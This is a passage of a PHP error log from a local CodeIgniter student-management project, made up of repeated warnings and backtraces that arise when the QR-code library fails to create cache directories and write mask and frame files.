			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 485&lt;br /&gt;
			Function: encode			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 286&lt;br /&gt;
			Function: encodePNG			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\Ciqrcode.php&lt;br /&gt;
			Line: 101&lt;br /&gt;
			Function: png			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\controllers\Student.php&lt;br /&gt;
			Line: 714&lt;br /&gt;
			Function: generate			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\index.php&lt;br /&gt;
			Line: 315&lt;br /&gt;
			Function: require_once			&lt;/p&gt;

		
&lt;/div&gt;
&lt;div style=&quot;border:1px solid #990000;padding-left:20px;margin:0 0 10px 0;&quot;&gt;

&lt;h4&gt;A PHP Error was encountered&lt;/h4&gt;

&lt;p&gt;Severity: Warning&lt;/p&gt;
&lt;p&gt;Message:  file_put_contents(C:\wamp64\www\multi_pro\uploads/qrcode_cache/mask_5\mask_21_5.dat): failed to open stream: No such file or directory&lt;/p&gt;
&lt;p&gt;Filename: qrcode/qrmask.php&lt;/p&gt;
&lt;p&gt;Line Number: 155&lt;/p&gt;


	&lt;p&gt;Backtrace:&lt;/p&gt;
	
		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 155&lt;br /&gt;
			Function: file_put_contents			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 311&lt;br /&gt;
			Function: makeMaskNo			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 216&lt;br /&gt;
			Function: mask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 240&lt;br /&gt;
			Function: encodeMask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 279&lt;br /&gt;
			Function: encodeInput			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 467&lt;br /&gt;
			Function: encodeString			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 485&lt;br /&gt;
			Function: encode			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 286&lt;br /&gt;
			Function: encodePNG			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\Ciqrcode.php&lt;br /&gt;
			Line: 101&lt;br /&gt;
			Function: png			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\controllers\Student.php&lt;br /&gt;
			Line: 714&lt;br /&gt;
			Function: generate			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\index.php&lt;br /&gt;
			Line: 315&lt;br /&gt;
			Function: require_once			&lt;/p&gt;

		
&lt;/div&gt;
&lt;div style=&quot;border:1px solid #990000;padding-left:20px;margin:0 0 10px 0;&quot;&gt;

&lt;h4&gt;A PHP Error was encountered&lt;/h4&gt;

&lt;p&gt;Severity: Warning&lt;/p&gt;
&lt;p&gt;Message:  mkdir(): No such file or directory&lt;/p&gt;
&lt;p&gt;Filename: qrcode/qrmask.php&lt;/p&gt;
&lt;p&gt;Line Number: 154&lt;/p&gt;


	&lt;p&gt;Backtrace:&lt;/p&gt;
	
		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 154&lt;br /&gt;
			Function: mkdir			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 311&lt;br /&gt;
			Function: makeMaskNo			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 216&lt;br /&gt;
			Function: mask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 240&lt;br /&gt;
			Function: encodeMask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 279&lt;br /&gt;
			Function: encodeInput			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 467&lt;br /&gt;
			Function: encodeString			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 485&lt;br /&gt;
			Function: encode			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 286&lt;br /&gt;
			Function: encodePNG			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\Ciqrcode.php&lt;br /&gt;
			Line: 101&lt;br /&gt;
			Function: png			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\controllers\Student.php&lt;br /&gt;
			Line: 714&lt;br /&gt;
			Function: generate			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\index.php&lt;br /&gt;
			Line: 315&lt;br /&gt;
			Function: require_once			&lt;/p&gt;

		
&lt;/div&gt;
&lt;div style=&quot;border:1px solid #990000;padding-left:20px;margin:0 0 10px 0;&quot;&gt;

&lt;h4&gt;A PHP Error was encountered&lt;/h4&gt;

&lt;p&gt;Severity: Warning&lt;/p&gt;
&lt;p&gt;Message:  file_put_contents(C:\wamp64\www\multi_pro\uploads/qrcode_cache/mask_6\mask_21_6.dat): failed to open stream: No such file or directory&lt;/p&gt;
&lt;p&gt;Filename: qrcode/qrmask.php&lt;/p&gt;
&lt;p&gt;Line Number: 155&lt;/p&gt;


	&lt;p&gt;Backtrace:&lt;/p&gt;
	
		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 155&lt;br /&gt;
			Function: file_put_contents			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 311&lt;br /&gt;
			Function: makeMaskNo			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 216&lt;br /&gt;
			Function: mask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 240&lt;br /&gt;
			Function: encodeMask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 279&lt;br /&gt;
			Function: encodeInput			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 467&lt;br /&gt;
			Function: encodeString			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 485&lt;br /&gt;
			Function: encode			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 286&lt;br /&gt;
			Function: encodePNG			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\Ciqrcode.php&lt;br /&gt;
			Line: 101&lt;br /&gt;
			Function: png			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\controllers\Student.php&lt;br /&gt;
			Line: 714&lt;br /&gt;
			Function: generate			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\index.php&lt;br /&gt;
			Line: 315&lt;br /&gt;
			Function: require_once			&lt;/p&gt;

		
&lt;/div&gt;
&lt;div style=&quot;border:1px solid #990000;padding-left:20px;margin:0 0 10px 0;&quot;&gt;

&lt;h4&gt;A PHP Error was encountered&lt;/h4&gt;

&lt;p&gt;Severity: Warning&lt;/p&gt;
&lt;p&gt;Message:  mkdir(): No such file or directory&lt;/p&gt;
&lt;p&gt;Filename: qrcode/qrmask.php&lt;/p&gt;
&lt;p&gt;Line Number: 154&lt;/p&gt;


	&lt;p&gt;Backtrace:&lt;/p&gt;
	
		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 154&lt;br /&gt;
			Function: mkdir			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 311&lt;br /&gt;
			Function: makeMaskNo			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 216&lt;br /&gt;
			Function: mask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 240&lt;br /&gt;
			Function: encodeMask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 279&lt;br /&gt;
			Function: encodeInput			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 467&lt;br /&gt;
			Function: encodeString			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 485&lt;br /&gt;
			Function: encode			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 286&lt;br /&gt;
			Function: encodePNG			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\Ciqrcode.php&lt;br /&gt;
			Line: 101&lt;br /&gt;
			Function: png			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\controllers\Student.php&lt;br /&gt;
			Line: 714&lt;br /&gt;
			Function: generate			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\index.php&lt;br /&gt;
			Line: 315&lt;br /&gt;
			Function: require_once			&lt;/p&gt;

		
&lt;/div&gt;
&lt;div style=&quot;border:1px solid #990000;padding-left:20px;margin:0 0 10px 0;&quot;&gt;

&lt;h4&gt;A PHP Error was encountered&lt;/h4&gt;

&lt;p&gt;Severity: Warning&lt;/p&gt;
&lt;p&gt;Message:  file_put_contents(C:\wamp64\www\multi_pro\uploads/qrcode_cache/mask_7\mask_21_7.dat): failed to open stream: No such file or directory&lt;/p&gt;
&lt;p&gt;Filename: qrcode/qrmask.php&lt;/p&gt;
&lt;p&gt;Line Number: 155&lt;/p&gt;


	&lt;p&gt;Backtrace:&lt;/p&gt;
	
		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 155&lt;br /&gt;
			Function: file_put_contents			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 311&lt;br /&gt;
			Function: makeMaskNo			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 216&lt;br /&gt;
			Function: mask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 240&lt;br /&gt;
			Function: encodeMask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 279&lt;br /&gt;
			Function: encodeInput			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 467&lt;br /&gt;
			Function: encodeString			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 485&lt;br /&gt;
			Function: encode			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 286&lt;br /&gt;
			Function: encodePNG			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\Ciqrcode.php&lt;br /&gt;
			Line: 101&lt;br /&gt;
			Function: png			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\controllers\Student.php&lt;br /&gt;
			Line: 714&lt;br /&gt;
			Function: generate			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\index.php&lt;br /&gt;
			Line: 315&lt;br /&gt;
			Function: require_once			&lt;/p&gt;

		
&lt;/div&gt;2020-05-15 00:50:49: 
&lt;div style=&quot;border:1px solid #990000;padding-left:20px;margin:0 0 10px 0;&quot;&gt;

&lt;h4&gt;A PHP Error was encountered&lt;/h4&gt;

&lt;p&gt;Severity: Warning&lt;/p&gt;
&lt;p&gt;Message:  file_put_contents(C:\wamp64\www\multi_pro\uploads/qrcode_cache/frame_1.dat): failed to open stream: No such file or directory&lt;/p&gt;
&lt;p&gt;Filename: qrcode/qrspec.php&lt;/p&gt;
&lt;p&gt;Line Number: 568&lt;/p&gt;


	&lt;p&gt;Backtrace:&lt;/p&gt;
	
		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrspec.php&lt;br /&gt;
			Line: 568&lt;br /&gt;
			Function: file_put_contents			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 178&lt;br /&gt;
			Function: newFrame			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 240&lt;br /&gt;
			Function: encodeMask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 279&lt;br /&gt;
			Function: encodeInput			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 467&lt;br /&gt;
			Function: encodeString			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 485&lt;br /&gt;
			Function: encode			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 286&lt;br /&gt;
			Function: encodePNG			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\Ciqrcode.php&lt;br /&gt;
			Line: 101&lt;br /&gt;
			Function: png			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\controllers\Student.php&lt;br /&gt;
			Line: 714&lt;br /&gt;
			Function: generate			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\index.php&lt;br /&gt;
			Line: 315&lt;br /&gt;
			Function: require_once			&lt;/p&gt;

		
&lt;/div&gt;
&lt;div style=&quot;border:1px solid #990000;padding-left:20px;margin:0 0 10px 0;&quot;&gt;

&lt;h4&gt;A PHP Error was encountered&lt;/h4&gt;

&lt;p&gt;Severity: Warning&lt;/p&gt;
&lt;p&gt;Message:  mkdir(): No such file or directory&lt;/p&gt;
&lt;p&gt;Filename: qrcode/qrmask.php&lt;/p&gt;
&lt;p&gt;Line Number: 154&lt;/p&gt;


	&lt;p&gt;Backtrace:&lt;/p&gt;
	
		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 154&lt;br /&gt;
			Function: mkdir			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 311&lt;br /&gt;
			Function: makeMaskNo			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 216&lt;br /&gt;
			Function: mask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 240&lt;br /&gt;
			Function: encodeMask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 279&lt;br /&gt;
			Function: encodeInput			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 467&lt;br /&gt;
			Function: encodeString			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 485&lt;br /&gt;
			Function: encode			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 286&lt;br /&gt;
			Function: encodePNG			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\Ciqrcode.php&lt;br /&gt;
			Line: 101&lt;br /&gt;
			Function: png			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\controllers\Student.php&lt;br /&gt;
			Line: 714&lt;br /&gt;
			Function: generate			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\index.php&lt;br /&gt;
			Line: 315&lt;br /&gt;
			Function: require_once			&lt;/p&gt;

		
&lt;/div&gt;
&lt;div style=&quot;border:1px solid #990000;padding-left:20px;margin:0 0 10px 0;&quot;&gt;

&lt;h4&gt;A PHP Error was encountered&lt;/h4&gt;

&lt;p&gt;Severity: Warning&lt;/p&gt;
&lt;p&gt;Message:  file_put_contents(C:\wamp64\www\multi_pro\uploads/qrcode_cache/mask_0\mask_21_0.dat): failed to open stream: No such file or directory&lt;/p&gt;
&lt;p&gt;Filename: qrcode/qrmask.php&lt;/p&gt;
&lt;p&gt;Line Number: 155&lt;/p&gt;


	&lt;p&gt;Backtrace:&lt;/p&gt;
	
		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 155&lt;br /&gt;
			Function: file_put_contents			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 311&lt;br /&gt;
			Function: makeMaskNo			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 216&lt;br /&gt;
			Function: mask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 240&lt;br /&gt;
			Function: encodeMask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 279&lt;br /&gt;
			Function: encodeInput			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 467&lt;br /&gt;
			Function: encodeString			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 485&lt;br /&gt;
			Function: encode			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 286&lt;br /&gt;
			Function: encodePNG			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\Ciqrcode.php&lt;br /&gt;
			Line: 101&lt;br /&gt;
			Function: png			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\controllers\Student.php&lt;br /&gt;
			Line: 714&lt;br /&gt;
			Function: generate			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\index.php&lt;br /&gt;
			Line: 315&lt;br /&gt;
			Function: require_once			&lt;/p&gt;

		
&lt;/div&gt;
&lt;div style=&quot;border:1px solid #990000;padding-left:20px;margin:0 0 10px 0;&quot;&gt;

&lt;h4&gt;A PHP Error was encountered&lt;/h4&gt;

&lt;p&gt;Severity: Warning&lt;/p&gt;
&lt;p&gt;Message:  mkdir(): No such file or directory&lt;/p&gt;
&lt;p&gt;Filename: qrcode/qrmask.php&lt;/p&gt;
&lt;p&gt;Line Number: 154&lt;/p&gt;


	&lt;p&gt;Backtrace:&lt;/p&gt;
	
		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 154&lt;br /&gt;
			Function: mkdir			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 311&lt;br /&gt;
			Function: makeMaskNo			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 216&lt;br /&gt;
			Function: mask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 240&lt;br /&gt;
			Function: encodeMask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 279&lt;br /&gt;
			Function: encodeInput			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 467&lt;br /&gt;
			Function: encodeString			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 485&lt;br /&gt;
			Function: encode			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 286&lt;br /&gt;
			Function: encodePNG			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\Ciqrcode.php&lt;br /&gt;
			Line: 101&lt;br /&gt;
			Function: png			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\controllers\Student.php&lt;br /&gt;
			Line: 714&lt;br /&gt;
			Function: generate			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\index.php&lt;br /&gt;
			Line: 315&lt;br /&gt;
			Function: require_once			&lt;/p&gt;

		
&lt;/div&gt;
&lt;div style=&quot;border:1px solid #990000;padding-left:20px;margin:0 0 10px 0;&quot;&gt;

&lt;h4&gt;A PHP Error was encountered&lt;/h4&gt;

&lt;p&gt;Severity: Warning&lt;/p&gt;
&lt;p&gt;Message:  file_put_contents(C:\wamp64\www\multi_pro\uploads/qrcode_cache/mask_1\mask_21_1.dat): failed to open stream: No such file or directory&lt;/p&gt;
&lt;p&gt;Filename: qrcode/qrmask.php&lt;/p&gt;
&lt;p&gt;Line Number: 155&lt;/p&gt;


	&lt;p&gt;Backtrace:&lt;/p&gt;
	
		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 155&lt;br /&gt;
			Function: file_put_contents			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 311&lt;br /&gt;
			Function: makeMaskNo			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 216&lt;br /&gt;
			Function: mask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 240&lt;br /&gt;
			Function: encodeMask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 279&lt;br /&gt;
			Function: encodeInput			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 467&lt;br /&gt;
			Function: encodeString			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
